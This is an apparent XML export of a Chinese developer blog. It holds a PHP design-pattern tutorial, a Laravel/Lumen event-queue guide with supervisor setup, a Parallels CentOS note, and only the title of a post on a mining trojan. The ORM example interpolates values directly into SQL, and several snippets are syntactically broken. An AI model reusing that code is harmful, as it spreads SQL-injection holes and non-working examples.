    <url>%2F2019%2F04%2F14%2FPHP%2Fdesign_parttern%2F</url>
    <content type="text"><![CDATA[设计模式设计模式是开发人员在面向对象编程实践在总结的经验和方案.PHP中常用到的11种设计模式 工厂模式 单例模式 注册模式 适配器模式 策略模式 数据对象映射模式 观察者模式 原型模式 装饰器模式 迭代器模式 代理模式 设计模式参考 :Php设计模式 设计原则1.单一职责 原则一个类,只专心做好一件事情 2.开/闭 原则(OCP)对扩展开放,对修改关闭.使程序易于升级与维护,对程序扩展时尽量不去修改原有代码. 3.里氏代换 原则(LSP)任何基类可以出现的地方,子类一定可以出现.但不能相反. 4.依赖倒转 原则开闭原则的基础,针对接口编程,依赖抽象而不依赖具体. 5.接口隔离 原则(ISP)降低类之间的耦合度,最小单一职责接口,不使用不需要的接口.(这里的接口指抽象类,抽象层) 6.迪米特 法则(LOD)最小知道原则,被依赖者:只暴露应该暴露的方法,依赖者:只依赖应该依赖的对象 7. 配置化尽量使用配置化,而不是硬编码 8.合成复用 原则尽量使用合成/聚合方式,而不是使用继承. php设计模式的基础了解的设计模式的基础,先了解PHP的基础语法和面向对象的特性,以及每个PHP版本的更新变化.面向对象的高级特性. 命名空间php5.3以后新增了命名空间. 命名空间允许同名的类名,避免命名冲突.命名空间和文件系统中的目录结构原理类似.可以于类,函数,常量一起使用.方便软件工程管理. 参考: php手册-命名空间 定义命名空间必须在php文件前申明,以”\”分割多个单词.注意点: 命名空间名字为变量名,如不能以数字或特殊字符开头; 不能使用保留字,如php,PHP,PHP\Classes 名称本身不能与其它命名重复冲突 要符合PSR-4规范,命名空间要与文件目录和文件名一一关联,注意文件名大小写,从根目录往下层级一一对应.参考: psr-4自动加载规范&gt;&gt; [app.php]1234567891011121314151617181920&lt;?php namespace App; //常量 5.3以后可以使用const 定义常量 const Author="arkin"; // 函数 function index()&#123; echo "index"; &#125; // 类 class testClass&#123; const NAME="testClass"; // 静态方法 static function index()&#123; echo "testClass.index"; &#125; &#125; ?&gt; 也可以在同一个文件中定义多个命名空间.命名空间,之后的代码. 12345678910111213141516171819202122232425// 第一种&lt;?php namespace Model1; class AModel &#123; &#125; namespace Model2; class BModel&#123; &#125;?&gt;// 第二种,使用大括号,这种语句命名空间&#123;&#125;之外不能有任何语句.除了declare.&lt;?php namespace Model1&#123; class AModel &#123; &#125; &#125; namespace Model2&#123; class BModel&#123; &#125; &#125; // 全局命名空间 namespace &#123; &#125;?&gt; 使用命名空间引用文件后,可以使用.123456789101112131415&lt;?php require ('app.php'); // 使用常量 echo App\Author; // 使用函数 echo App\index(); // 使用类 $AClass= new App\testClass(); // 使用类的常量 echo App\testClass::Name; // 调用类的静态方法 echo App\testClass::index(); // 全局 空间,包含系统自带类和函数 throw new \Exception("有错误");?&gt; use 别名除了以上通过全路径命名空间外,可use别名.(&gt;PHP5.6)如:1234567891011121314151617&lt;?php // 类别名,简写 use App\Controller; use App\Controller as Controller; // 函数别名 use function App\Controller\out as msg; // 常量别名 use const App\Controller\Module as MdName; // 多个连写 use App\Model\A,App\Model\B; // 子命名空间 use App\Model\&#123; User, function bindsql, const Version as MySQLVer &#125;; ?&gt; 匿名函数参考: php手册-匿名函数在php5.3后引用.又叫闭包函数(closures),其它语言使用lambda关键字.经常用于回调函数.临时创建的一个没名称的函数.和普通函数一样.PHP匿名函数通过Closure类来实现. 定义1234567891011// 示例1$fun=function()&#123; return true;&#125;var_dump($fun);// 返回object(Closure)#2 (0) $fun();// 示例2array_map(function ($v1,$v2)&#123; echo $v2.'-'.$v1.PHP_EOL;&#125;,[1,2],['a','b']); 匿名函数 变量传递通过use来传递变量.变量类型.支持所有变量类型.注:在PHP7.1以后,不允许传递\$this和内置的超全局变量(如\$_GET,\$_COOKIE),在匿名函数中可以获取到.也不能与参数名重复.例子:12345678910$userName="arkin";$local="北京";// 这里使用的强类型,use ()传递变量.$show=function (string $msg) use($userName,&amp;$local) :string&#123; $local="上海"; return $userName.':'.$msg;&#125;;echo $show('走你!');// 输出,'arkin:走你'echo $local;// 输出: 上海 绑定对象可以绑定新的对象到匿名函数.其实就Closure对象.12345678// 此时$this为空$func=function ()&#123; var_dump($this);&#125;;// 把新的对象 stdClass绑定到 匿名函数$fun2=$func-&gt;bindTo(new stdClass());// 此时的$this 为 stdClass()$fun2(); 匿名函数在php5.3以后会自动绑定$this,除非申明函数为静态匿名函数.123456789101112class A &#123; function __construct()&#123; // $fun=function()&#123; var_dump($this);// 正常 &#125;; // 静态匿名函数 return static function ()&#123; var_dump($this);// 报错 &#125; &#125;&#125; 回调函数内核自带很多地方需要用到回调函数.回调函数定义的6种方法.不同的函数可能实现不一样,大部分通用.下面以array_map()为例;创建回调函数的方法. 1. 普通函数回调函数字符串的函数名称.123456&lt;?php function callback($v)&#123; echo $v; &#125; array_map('callback',[1,2,3]);?&gt; 2. 匿名函数使用匿名函数,最常用的方法.123&lt;?php array_map(function($v)&#123;echo $v;&#125;,[1,2,3]);?&gt; 3. 类的方法支持两种字符类名+方法名与数组类名+方法名;123456789class MyClass &#123; static function callback($v)&#123;&#125;&#125;// 第1种, 静态类字符串array_map('MyClass::callback',[1,2,3]);// 第2种, 静态类数组array_map(['MyClass','callback'],[1,2,3]);// 第3种, 实例对象方法array_map([new MyClass(),'callback'],[1,2,3]); 4. 命名空间和静态方法类似.123namespace My;static function callback($v)&#123;&#125;;array_map('My\callback',[1,2,3]); 5. 函数生成器使用create_function 函数生成器,有时在代码生成器时需要到.1array_map(create_function('$v','echo $v;'),[1,2,3]); 6. 内置函数1$arr=array_map('htmlentities',['&lt;a&gt;','&lt;script&gt;','xxxp']); 匿名类php7.0开始支持匿名类,anonymous class; 定义和普通类一样定义,也可以继承 ,使用接口12345678$class=new class&#123; function __construct() &#123; echo "haha"; &#125; function lala()&#123;&#125;&#125;$class-&gt;lala(); stdClass对象stdClass是一个特殊的基类,不需要定义就可以使用.但是stdClass没有方法,只能使用属性.由于php没有定义空对象的方法,一般使用stdClass来创建一个空对象. 123456$obj= new stdClass();$obj-&gt;name="你主宗";echo json_encode($obj);// &#123;name:"你主宗"&#125;//在JS中可以简单var obj=&#123;"name":"你大爷"&#125;; 类的自动加载php使用require或include手动引用,在php5.2以后提供php自动引用功能.自动引用类机制是,当发现未加载的类时会自动执行载入函数. __autoload()__authload()函数只可以定义一次. 123456789&lt;?php Test1::index(); Test2::index(); //$class 为 类名,包含命名空间 function __autoload($class)&#123; echo "自动载入类:",$class; require __DIR__.DIRECTORY_SEPARATOR.$class.".php"; &#125;?&gt; spl_autoload_register()spl是PHP的标准库的一类.参考 : spl标准库 spl_autoload_register spl_autoload_register好处: 可以定义多个autoload函数 支持异常处理 可以注销已注册的函数 示例简单自动加载,使用了命名空间.目录结构如下: Loader.php,作为统一加载类123456789101112131415161718192021222324252627282930namespace Bootstrap;class Loader&#123; private $classMap=[]; public function __construct() &#123; // 注册加载函数 spl_autoload_register([$this,'register'],true); &#125; function __destruct() &#123; spl_autoload_unregister([$this,'register']); &#125; // 加载函数 private function register($class)&#123; // 目录分隔符 windows为 '\',linux为 '/' $sep=DIRECTORY_SEPARATOR; $file=__ROOT.$sep.str_replace('\\',$sep,$class).'.php'; if(file_exists($file))&#123; $loaded=include($file); if($loaded)&#123; $this-&gt;classMap[$class]=$file; &#125; &#125; &#125; public function getClassMap()&#123; return $this-&gt;classMap; &#125;&#125; index.php,入口文件引用123456789// 根目录const __ROOT=__DIR__;require_once __ROOT.'/Bootstrap/Loader.php';$autoload=new \Bootstrap\Loader();// 使用类(new App\Controller\Home())-&gt;index();var_dump($autoload-&gt;getClassMap()); PHP标准库(SPL)参考 : SPL文档常用到的是:SPL函数,数据结构和迭代器 PHP常用的数据结构PHP常见的数据结构,数组,队列,堆,栈 1.数组数组: 连续方式存储数据的结构,可以通过索引访问.注意不是指PHP的数组.特点: 固定长度,索引只能为数字,性能快使用SplFixedArray类1234$arr= new SplFixedArray(3);//0,1,2$arr[2]="abc";$arr[3]="ccdd";// 这里会报错,超时索引最大值$arr-&gt;getSize(4);// 可以修改数组长度 PHP内置数组底层使用的是HashTable实现. 2.队列一种特殊的线性表,特性是先进先出.主要支持:入队(enqueue),出队(dequeue)12345$que = new SplQueue();$que-&gt;enqueue("1");$que-&gt;enqueue("2");echo $que-&gt;dequeue();//1echo $que-&gt;dequeue();//2 3.栈特性: 先进后出主要方法: 入栈(push)/出栈(pop)12345que = new SplStack();$que-&gt;push("1");$que-&gt;push("2");echo $que-&gt;pop();//2echo $que-&gt;pop();//1 4.堆不会. 序列化/反序列化序列化的目的,是将变量转成可存储和传输的字符串的过程.PHP常用的序列化方式, json_encode/json_decode serialize/unserialize serialize 对象对象在序列化时会先尝试调用sleep(),unserialize时尝试调用wakeup();serialize不可以序列化匿名类.// 第一种,使用sleep和wakup__sleep用来做返回属性名称的数组,不能返回父类属性.注意:反序列化时,类必须存在 12345678910111213141516171819202122232425262728class myClass&#123; public $name="arkin"; protected $sex="1"; const Local="beijin"; public function __construct() &#123; $this-&gt;name="zhangesan"; $this-&gt;sex=2; &#125; function out()&#123; echo $this-&gt;name,$this-&gt;sex,self::Local; &#125; function __wakeup()&#123; $this-&gt;out(); &#125; function __sleep()&#123; return ['name']; &#125;&#125;;$str=serialize(new myClass());echo $str,PHP_EOL;$obj=unserialize($str);$obj-&gt;name; 应用场景在反序列化对象时,需要加载对应的类.序列化,常用于缓存对象,异构系统之间传输对象.常见的异步处理消息队列,在消息体中会存储依赖类的路径和序列化的数据;在消费时会加载依赖的类,在反序列化.反顺序化时会调用自动加载类函数.__autoload或spl_autoload_register; PSR规范无规矩没方圆, PHP规范是PHP软件工程的基础. PSR-0 和 PSR-4: 自动加载标准,命名规范,现在使用PSR-4代替. PSR-1 和 PSR-2: 编码风格规范 PSR-3 : 日志规范 PSR-0 ~ PSR-4psr-4 全部使用命名空间,命名空间与目录结构一致; 所有PHP文件必须使用自动载入,不能有Include/require; 只有一个单一入口; 类名要与文件名一致,一个文件只有一个类,不能含有其他运行代码; 大部分主流的PHP的框架都遵守PSR规范.其它规范参考官方文档,与设计模式无关. PHP链式操作在一些框架,如Laravel中经常使用链式操作.实现原理:通过调用方法中 返加 \$this; 123456789101112131415161718192021222324 class BaseModel&#123; function __construct() &#123; &#125; function where()&#123; echo "条件",PHP_EOL; return $this; &#125; function order()&#123; echo "排序",PHP_EOL; return $this; &#125; function find()&#123; echo "查询",PHP_EOL; return $this; &#125;&#125;(new BaseModel())-&gt;where()-&gt;order()-&gt;find(); 魔术方法get/set对象属性不存在时;set: 当外部设置赋值一个不存在的属性时,会触set方法;该方法有两个参数:\$name:属性名称,\$value:属性值;12345678class MyClass&#123; function __set($name, $value)&#123; $this-&gt;$name=$value; &#125;&#125;$obj= new MyClass();$obj-&gt;name="haha";// 不存在name属性 get: 当调用一个不存在的属性时,会触发 \get方法;12345678class MyClass&#123; function __get($name)&#123; return $name."不存在"; &#125;&#125;$obj= new MyClass();$obj-&gt;name="haha";// 不存在name属性 call/callStatic对象和类方法不存在时.当调用不存在的方法时,会触发 call方法 call有两个参数: \$func:方法名,\$params:参数返回: 当作不存在方法的返回值. __callStatic: 为静态方法 12345class MyClass&#123; static __callStatic($func,$params)&#123; return 123; &#125;&#125; __toString将对象转字符串.在 echo 一个对象时.可以使用 __toString(){ return “classsxx”;} 返回字符串. __invoke将对象当成函数来执行; 1234567class MyClass&#123; function __invoke()&#123; return "把对象当成函数来执行"; &#125;&#125;$obj= new MyClass();echo $obj(); 浅拷贝与深拷贝这个在JS中也是一个注意点,拷贝本身是一个耗资源的过程.为了利用内存空间,程序语言设计时都在拷贝做优化,在文件系统中快捷方式类似.浅拷贝:指共享内存空间地址,起了个别名,修改一个很影响到另一个.深拷贝:指把内存空间复制一份出来,另起存储,从拷贝的那一刻起,大家一刀两断,互不影响. 普通变量“=”赋值为深拷贝,使用”=&amp;”赋值为浅拷贝.123456789101112131415161718$a=100;// 深拷贝$b=$a;// 浅拷贝$c=&amp;$a;$a=200;var_export([ '$a'=&gt;$a,//200 '$b'=&gt;$b,//100 '$c'=&gt;$c,//200]);$c=300;var_export([ '$a'=&gt;$a,//300 '$b'=&gt;$b,//还是100 '$c'=&gt;$c,//300]); 对象普通”=”赋值为浅拷贝,使用”clone”为深拷贝123456789101112131415$obj=new stdClass();$obj-&gt;name="阿金";// 浅拷贝,相当于起了别名$boy=$obj;// 深拷贝,clone了一模一样的我$girl=clone $obj;$obj-&gt;name="Arkin";echo $obj-&gt;name.'--'.$boy-&gt;name,PHP_EOL;//Arkin - Arkin$boy-&gt;name="Kim";echo $obj-&gt;name.'--'.$boy-&gt;name,PHP_EOL;//Kim - Kimecho $obj-&gt;name.'--'.$girl-&gt;name,PHP_EOL;//Kim - Arkin$girl-&gt;name="丽娜";echo $obj-&gt;name.'--'.$girl-&gt;name,PHP_EOL;//Kim - 丽娜 函数参数与变量赋值一样,普通参数为深拷贝,带”&amp;”为浅拷贝12345678910111213141516$ren="红";// 出淤泥不染function lianhua($color)&#123; $color="黑"; echo $color;&#125;// 变了function shehui(&amp;$color)&#123; $color="黑"; echo $color;&#125;lianhua($ren);echo $ren,PHP_EOL;// 保持本心,"红"shehui($ren);echo $ren,PHP_EOL;// 被传染,"黑" PHP设计模式常用的工厂模工,单例模式,注册机模式; 工厂模式使用统一的类或方法去new 对象,而不是手工new 对象;优点:单一创建对象入口;当项目中有很多地方需要new 一个对象时,假如对象的参数,或对象名变化,就需要批量修改 new 的代码.123456789101112131415class DataBase()&#123; function __construct($host,$database,$user,$password)&#123; &#125;&#125;class Factory&#123; static function createDatabase()&#123; $db=new DataBase("127.0.0.1",'test','root','123456'); return $db; &#125;&#125;$db1=Factory::createDatabase();$db2=Factory::createDatabase();$db3=Factory::createDatabase(); 单例模式避免资源浪费,减少连接数.如数据库连接,共用一个即可.如上,已经new 过的对象,后面就不需要再次new了.主要实现步骤: 把 __construct 析构函数变成私有private.就不可以直接new 实例化. 申明一个获取实例的静态方法, 如getInstance()方法 申明一个私有的属性来存储实例. 当发现未实例化过,实例化 new self();,已实例化则直接返回该实例. 1234567891011121314151617181920212223class DataBase()&#123; protected static $db=null; private function __construct($host,$database,$user,$password)&#123; &#125; static function getInstance($host,$database,$user,$password)&#123; if(self::$db)&#123; return self::$db; &#125; self::$db= new self(); return self::$db; &#125;&#125;class Factory&#123; static function createDatabase()&#123; $db=DataBase::getInstance("127.0.0.1",'test','root','123456'); // 下面模式 Register,注册到db1 Register::set('db1',$db); return $db; &#125;&#125;$db1=Factory::createDatabase();$db2=Factory::createDatabase(); 注册机模式全局统一注册,其它地方获取而不是用实例化.主要两个方法: set(‘别名’,’实例化对象’),remove(‘别名’),get(‘别名’);统一set和remove,其它统一get.1234567891011121314151617// class Register&#123; // 对象库 protected static $objects=[]; static function set($alias,$object)&#123; self::$objects[$alias]=$object; &#125; static function remove($alias)&#123; unset(self::$objects[$alias]); &#125; static function get($alias)&#123; return self::$objects[$alias]; &#125;&#125; 适配器模式将截然不同的函数接口封装成统一的API比如,数据库将mysql,mysqli,pdo封装成成统一操作接口,比如缓存:统一redis,memecache,mongodb 实现步骤: 约定统一接口 分别创建实例,实现约定的方法 123456// 统一接口interface IDatabase&#123; function connect($host,$user,$password,$dbName); function query($sql); function close();&#125; 其它实现1234567891011121314151617181920// 实现接口class Mysqli implements IDatabase&#123; protected $conn; function connect($host,$user,$password,$dbName)&#123; $conn=mysqli_connect($host,$user,$password,$dbName); $this-&gt;conn=$conn; &#125; function query($sql)&#123; return mysqli_query($this-&gt;conn,$sql); &#125; function close()&#123; mysqli_close($this-&gt;conn); &#125;&#125; 策略模式将一组特定的行为和算法封装成类,以适应某些特定的上下文环境. 比如, 不同的用户角色类型,展示不同的广告.不同的角色使用不同的策略.如果很多页面,则需要很多次硬编码.使用策略模式,可以减少工作量和解耦. 实现方式: 定义接口类 每种策略实现一种接口 在调用的提供一个设置策略接口 全局统一策略,把策略传递给需要实现策略的地方 广告策略类:1定义接口12345interface UserStrategy&#123; function showAd(); function showCategory();&#125; 2.实现多种策略接口123456789101112131415class Male implements UserStrategy&#123; function showAd()&#123; echo "男装"; &#125; function showCategory()&#123;&#125;&#125;class Female implements UserStrategy&#123; function showAd()&#123; echo "女装"; &#125; function showCategory()&#123;&#125;&#125; 3页面12345678910class Home &#123; protected $strategy; // 设置 function setStrategy(\App\Strategy\UserStrategy $strategy)&#123; $this-&gt;strategy=$strategy; &#125; function index&#123; echo "广告",$this-&gt;strategy-&gt;show(); &#125;&#125; 4入口,根据不同条件,传递不同接口实现1234567if(isset($_GET['female']))&#123; $strategy= new \App\Strategy\Female();&#125;else&#123; $strategy= new \App\Strategy\Male();&#125;$page-&gt;setStrategy($strategy);$page-&gt;index(); 数据对象映射模式将对象和数据存储映射,对一个对象的操作会映射为对数据的操作;场景: 比如Model的属性和表的字段映射起来.常用在ORM上.简单实现方式: 创建一个类,属性与数据库表字段一致. construct时连接数据库表 destruct量把model的属性更新到数据表示例 12345678910111213141516171819202122232425262728class User &#123; public $id; public $name; public $mobile; function __construct($id) &#123; $this-&gt;db= new \App\Database\Mysqli(); $this-&gt;db-&gt;connect('127.0.0.1','root','123456','Test'); $res= $this-&gt;db-&gt;query("select * from users where id=$id"); $data=$res-&gt;fetch_assoc(); $this-&gt;id=$id; $this-&gt;name=$data['name']; $this-&gt;mobile=$data['mobile']; &#125; function __destruct() &#123; $sql="update users set name='&#123;$this-&gt;name&#125;',mobile='&#123;$this-&gt;mobile&#125;' where id=&#123;$this-&gt;id&#125;"; $this-&gt;db-&gt;query($sql); &#125;&#125;// 使用X22 `$model=new User(1);$model-&gt;name="小画"$model-&gt;13800013800; 观察者模式当一个对象状态发生变化时,依赖它的对象全部收到通知,并自动更新.场景: 一个事件发生后,要执行一连串更新操作.传统方法是,直接在事件中加入处理逻辑,当需要加入或更新更多的处理逻辑时就需要修改事件主体本身.观察者模式使用:通知 与 更新机制即是: 订阅 –&gt; 通知 模型使用之前: 123456789101112131415namespace App\Events;class OrderEvent&#123; // 触发器 function trigger() &#123; echo "事件",PHP_EOL; echo "处理逻辑1",PHP_EOL; echo "处理逻辑2",PHP_EOL; echo "处理逻辑3",PHP_EOL; &#125;&#125;use App\Events;$event=new Events\OrderEvent();$event-&gt;trigger(); 使用观察者:分 事件部分 和 观察者部分.事件部分:1步:事件发生 抽象类 12345678910111213141516171819202122232425namespace App\Events;use App\Observers\Observer;abstract class EventGenerator &#123; /** @var array 观者者列表 */ private $observers=[]; /** * 增加观察者 * @param Observer $observer 观察者对象 */ function addObserver(Observer $observer)&#123; $this-&gt;observers[]=$observer; &#125; /** * 触发通知 */ function notify()&#123; foreach ($this-&gt;observers as $observer)&#123; $observer-&gt;update(); &#125; &#125;&#125; 2步,观察者接口 12345678910namespace App\Observers;interface Observer&#123; /** * @param null $event 事件信息 * @return mixed */ function update($event=NULL);&#125; (PS,由于markdown编辑器代码太多,出现卡顿,下面使用图片代替代码) 3步,实现具体事件 4步,创建观察者,一个或多个 5步,事件中,添加观察者运行结果. 事件观察者和事件监听者一样.稍微区别.事件观察: 被观察者 –&gt; 观察者(多个)事件监听: 事件源(多个)–&gt; 事件 –&gt; 监听器(多个)盗用图: 原型模式与工厂模式类似,都是统一创建对象.原型类是JS中的原型,先创建好一个原型对象,然后clone 原型对象来创建新的对象.这样免去了类实例化操作,减少内存开销.先理解对象的深拷贝和浅拷贝. 使用场景: 初始实例化类消耗大量资源时 步骤:1. 创建一个原型对象 2. clone 原型对象 装饰器模式实际上,可以动态和修改 类的功能.场景: 需要灵活动态添加和修改类的功能时.也可以理解为中间件.钩子 如: 控制器 增加调用前和调用后两个装饰器,就可以动态添加改变内容了.1步,绑定勾子,寻增加装饰函数,执行函数 2步,调用时可以动态添加装饰函数 除了装饰函数,也可以使用装饰类.类似CI框架通过大量的勾子实现中间件的功能.Laravel框架中间件. 注意点,勾子和中间件函数,都提供一个类似 next()方法,来传递是否进行. 迭代器模式在不需要了解内部的前提下,遍历一个聚合对象.php 中已经有很多迭代器.其它可以简单理解为可以循环的对象.通过实现 Iterator类.主要实现5个方法:current返回当前数据,key返回当前索引,next下一个索引,rewind重置索引,valid验证数据创建迭代器类.然后就可以循环了.1234$users= new Users();foreach ($users as $key=&gt;$user)&#123; echo $key,'=&gt;',$user,PHP_EOL;&#125; 代理模式和我们理解的代理一样,网络代理,代购,代理人等一样.分为: 主题–&gt;代理人–&gt;实际对象 和适配器模式一样,但代理人实现一样的方法.场景: 大数据对象,按需要加载,延迟加载,读写分离,权责分离,控制等 大数据场景:一个大的对象,先实例化一个轻量的对象,当需要某部分数据才实例化. 读写分离:orm类读数据库从从库实例获取数据,写数据时写入到master实例. 常用设计结构MVC 结构mvc是一种常用的 C/S或B/S软件工程的组织方式.M: 模型(Model),数据和存储的封装V: 视图(View),展现层的封装C: 控制器(Controller),逻辑层的封装]]></content>
      <categories>
        <category>PHP</category>
      </categories>
      <tags>
        <tag>PHP</tag>
        <tag>Arch</tag>
        <tag>Web架构师</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[PHP架构师技能树]]></title>
    <url>%2F2019%2F04%2F13%2FDevOps%2F2019-04-13%2F</url>
    <content type="text"><![CDATA[成长路线关键字 精通PHP语言 服务器部署与运维 数据库 缓存 前端 高并发 大数据 分布式 安全 工程化 队列 搜索引擎,ES 中间件 Redis MongoDb nginx 负载均衡 性能调优 BUG追踪 docker 网关 Swoft 第一阶段: Coding+认知 第二阶段: 发现+专研 第三阶段: 系统+设计 第四阶段: 广度+深度 第一阶段,码农糊口阶段,找一份工作.了解编程互联网的世界. PHP设计模式PHP框架PHP应用]]></content>
      <categories>
        <category>Arch</category>
      </categories>
      <tags>
        <tag>PHP</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[Laravel事件]]></title>
    <url>%2F2019%2F03%2F16%2FPHP%2Flaravel-event%2F</url>
    <content type="text"><![CDATA[Laravel 事件使用. 常用于与主流程无关的功能,如注册短信,下单通知等功能. 分为同步和异步功能.lumen的事件和队列与laravel一至,由于lumen缺少自动命令.可以使用laravel命令创建完成再复制到lumen下. 同步事件1.打开app事件注册的配置123456// 文件 /bootstrap/app.php$app-&gt;register(App\Providers\EventServiceProvider::class);// 应需要序列化model,需要修改.env 的APP_KEY 为类似base64:59KCzr0MWDGz0fHhOJXeN+yurJw5SBWTXiqJjul7xlE=// 可以使用 laravel命令生成.php artisan key:generate 2.新建事件 由于lumen没有命令直接创建事件,只能手动创建. 如订单事件 在/app/Events 目录下创建OrderEvent.php类. 123456789101112131415161718192021222324&lt;?phpnamespace App\Events;use App\Events\Event;use Illuminate\Queue\SerializesModels;//序列化类class OrderEvent extends Event&#123;use SerializesModels;public $orderModel;/*** Create a new event instance.** @param Order $orderModel* @return void*/public function __construct(Order $orderModel)//事件传参&#123;$this-&gt;orderModel = $orderModel;//初始化事件类&#125;&#125; 3. 编写事件监听器在/App/Listenters下,创建事件监听类.加后缀Listener 如:OrderListenter 12345678910111213141516&lt;?phpnamespace App\Listeners;use App\Events\OrderEvent;class TestListener&#123;// 处理事件方法public function handle(OrderEvent $event)&#123;echo "TestListener";$orderModel= event-&gt;OrderModel;// 开始处理事件,如发送短信&#125;&#125; 4. 绑定事件和监听器在 /app/Providers 目录下,新建EventServiceProvider.php类 在listen数组下,新建 鍵:事件名 值:监听者 1234567891011121314151617181920212223242526272829&lt;?phpnamespace App\Providers;use Laravel\Lumen\Providers\EventServiceProvider as ServiceProvider;class EventServiceProvider extends ServiceProvider&#123;/*** 事件监听者** @var array*/protected $listen = [// 订单变更事件'App\Events\OrderEvent' =&gt; ['App\Listeners\OrderListener',//监听器,可以有多个]];/*** 事件订阅者** @var array*/protected $subscribe = [];&#125; 4. 触发事件可以在控制器中或model中使用. 使用event(new OrderEvent())或Event::fire(new OrderEvent()); 如我OrderModel中使用 12345678910111213141516171819202122232425262728293031323334&lt;?phpnamespace App\Http\Model;use Illuminate\Database\Eloquent\Model;use App\Library;use App\Events\OrderEvent; //引用事件/*** 订购单* Class Order* @package App\Http\Model*/class Order extends Model&#123;...protected static function boot()&#123;parent::boot();// 订单创建完static::created(function ($model) &#123;event(new OrderEvent($model));// 触发事件//Event::fire(new OrderEvent());&#125;);// 订单更新static::updated(function ($model) &#123;event(new OrderEvent($model));// 触发事件&#125;);&#125;... 异步队列 以上是使用同步方式调用事件,但有些耗时的工作需要在后台异步执行.比如短信,邮件通知等,把事件放到队列执行.需要配置异步队列.下面使用redis快速配置异步队列. 1.配置队列复制文件/vendor/laravel/lumen-framework/config/queue.php到/app/config/queue.php 下. 修改.env 加 QUEUE_DRIVER=redis 2. 修改事件监听器类型把Listenter改成队列模式. 如OrderLisnter 1234567891011121314namespace App\Listeners;use App\Events\TestEvent;use Illuminate\Contracts\Queue\ShouldQueue;use Illuminate\Queue\InteractsWithQueue;class OrderListener implements ShouldQueue&#123;use InteractsWithQueue;public function handle(OrderEvent $event)&#123;echo "TestListener";&#125; 3. 调用和普通 事件一样. 4. 配置队列消费后台监听命令 12# --daemon=不重启框架 --sleep=无任务睡眠时间秒 --tries=失败重试php artisan queue:work connection --daemon --sleep=3 --tries=3 5. 使用supervisor后台监控 使用后台监控程序 安装supervisor,linux 环境 1234567891011121314151617181920212223242526272829303132# 安装yum install supervisor# mac 安装brew install supervisor# 配置文件/etc/supervisor/或在mac /usr/local/etc/supervisord.ini#脚本配置文件cd /usr/local/etc/supervisor.d/#新建laravel 脚本配置 laravel-worker.conf &amp;&amp; laravel-worker.ini[program:laravel-worker]process_name=%(program_name)s_%(process_num)02d⌘=php /Users/arkin/PhpstormProjects/cisscool/cisscool-api/artisan queue:work --sleep=3 --tries=3 --daemonautostart=trueautorestart=trueuser=arkinnumprocs=8redirect_stderr=truestdout_logfile=/data/logs/ciss/work.log# 运行sudo supervisord -c /etc/supervisor/supervisord.confsudo supervisorctl -c /etc/supervisor/supervisord.conf# CI发布完成后执行:sudo supervisorctl rereadsudo supervisorctl updatesudo supervisorctl start laravel-worker:* 6.建立失败数据库123456789CREATE TABLE `failed_jobs` (`id` int(10) unsigned NOT NULL AUTO_INCREMENT,`connection` text COLLATE utf8_unicode_ci NOT NULL,`queue` text COLLATE utf8_unicode_ci NOT NULL,`payload` longtext COLLATE utf8_unicode_ci NOT NULL,`exception` longtext COLLATE utf8_unicode_ci NOT NULL,`failed_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,PRIMARY KEY (`id`)) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci ROW_FORMAT=COMPACT 到此基于队列的事件监听可以正常使用了. 队列的详细使用,事件的分发广播.参考下一篇.]]></content>
      <categories>
        <category>Laravel</category>
      </categories>
      <tags>
        <tag>Laravel</tag>
        <tag>Php</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[Parallels Centos 安装]]></title>
    <url>%2F2019%2F03%2F13%2FDevOps%2F2019-03-13%2F</url>
    <content type="text"><![CDATA[parallels 安装 centosparallels 是 MacOs下的一个虚拟化工具,和Mac整合得很好.支持融入模式,macos和虚拟机结合,虚拟机配置都默认帮配置完成了.文件共享.剪贴板工具都帮安好.就像安装软件一样方便. root密码默认创建一个parallels账号,登录的也是parallels.没有初始化root密码.修改root密码:1sudo passwd 然后输入 当前parallels账号的密码 然后就可以修改 root密码了. 配置免密连接避免手动配置麻烦,只需要两步就完成. 第一步: 打开配置 第二步: 选中 “使用macOS SSH 公钥进行身份验证” 这样便把mac电脑当前的ssh key复制到 centos 中 parallels 用户的 ~/.ssh/authorized_keys里面.我们验证一下. 测试一下远程连接.“ssh parallels@10.211.55.4“是centos虚拟机的IP. 就可以使用mac自带的命令行工具了. parallels 显示模式有三种查看模式 融合: 与macOS合并,虚拟机运行的程序和Mac一样运行. 全屏: 普通的虚拟机模式 画中画: 把虚拟机当成单独Mac应用,就像看视频一样,可以无限缩小.放大 旅行模式: 相当于节能模式,Linux最好开启这种模式.减少磁盘 “嗡嗡~”吵个不停. 后台运行模式: linux大部分情况不需要界面,只需要在后台运行可以了.关闭后就虚拟机还能运行. 静态IP虚拟机默认使用动态IP,这样我们使用ssh连接时,不方便.可以修改网卡设置成固定IP.]]></content>
      <categories>
        <category>DevOps</category>
      </categories>
      <tags>
        <tag>MacOS</tag>
        <tag>parallels</tag>
      </tags>
  </entry>
  <entry>
    <title><![CDATA[记一次比特币病毒木马事件]]></title>
    <url>%2F2019%2F03%2F08%2FDevOps%2Fxmrig_script%2F</url>
